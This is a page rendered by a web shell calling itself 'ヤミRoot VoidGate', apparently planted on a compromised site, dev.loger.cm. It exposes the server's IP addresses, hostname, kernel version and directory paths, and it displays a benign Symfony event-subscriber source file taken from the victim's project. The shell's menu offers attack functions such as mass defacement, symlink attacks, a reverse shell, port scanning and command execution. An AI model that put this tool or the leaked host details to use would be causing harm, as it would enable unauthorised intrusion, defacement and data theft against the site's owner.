ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Event
/
Viewing: DatabaseActivitySubscriber.php
<?php namespace App\Event; use App\Entity\AnnounceChannel; use App\Entity\BookingRoom; use App\Security\EmailVerifier; use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface; use Doctrine\ORM\EntityManagerInterface; use Doctrine\ORM\Events; use Doctrine\Persistence\Event\LifecycleEventArgs; use Psr\Log\LoggerInterface; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpKernel\KernelInterface; use Symfony\Component\Notifier\ChatterInterface; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class DatabaseActivitySubscriber implements EventSubscriberInterface { private $environment; const RESEND_MAIL = "app_resend_email"; const GENERATE_PAYMENT = "app_payment"; const NOTIFY_PAYMENT = "app_payment_notify"; private $emailVerifier; private $token; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; private $entityManager; private $chatter; private $logger; private $encoder; private $urlGenerator; public function __construct(EmailVerifier $emailVerifier, UserPasswordHasherInterface $encoder, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, ChatterInterface $chatter, LoggerInterface $logger, KernelInterface $kernel, UrlGeneratorInterface $urlGenerator, EntityManagerInterface $entityManager, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->chatter = $chatter; $this->logger = $logger; $this->encoder = $encoder; $this->urlGenerator = $urlGenerator; $this->environment = $kernel->getEnvironment(); $this->requestStack=$requestStack; $this->entityManager=$entityManager; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; } // this method can only return the event names; you cannot define a // custom method name to execute when each event triggers public function getSubscribedEvents(): array { return [ Events::postPersist, Events::postRemove, Events::postUpdate, ]; } // callback methods must be called exactly like the events they listen to; // they receive an argument of type LifecycleEventArgs, which gives you access // to both the entity object of the event and the entity manager itself public function postPersist(LifecycleEventArgs $args): void { $entity = $args->getObject(); $this->logActivity('persist', $args); } public function postRemove(LifecycleEventArgs $args): void { $this->logActivity('remove', $args); } public function postUpdate(LifecycleEventArgs $args): void { $this->logActivity('update', $args); } private function logActivity(string $action, LifecycleEventArgs $args): void { $entity = $args->getObject(); // if this subscriber only applies to certain entity types, // add some code to check the entity type as early as possible if ($entity instanceof AnnounceChannel && $action=="persist") { $this->session->getFlashBag()->add("success", "new channel has been created ". $entity->getId()." at 3 " ); return; } if ($entity instanceof AnnounceChannel && $action=="update") { $this->session->getFlashBag()->add("success", "Channel has been created ". $entity->getId()." at 5" ); return; } // ... get the entity information and log it somehow } }
Coded With 💗 by
0x6ick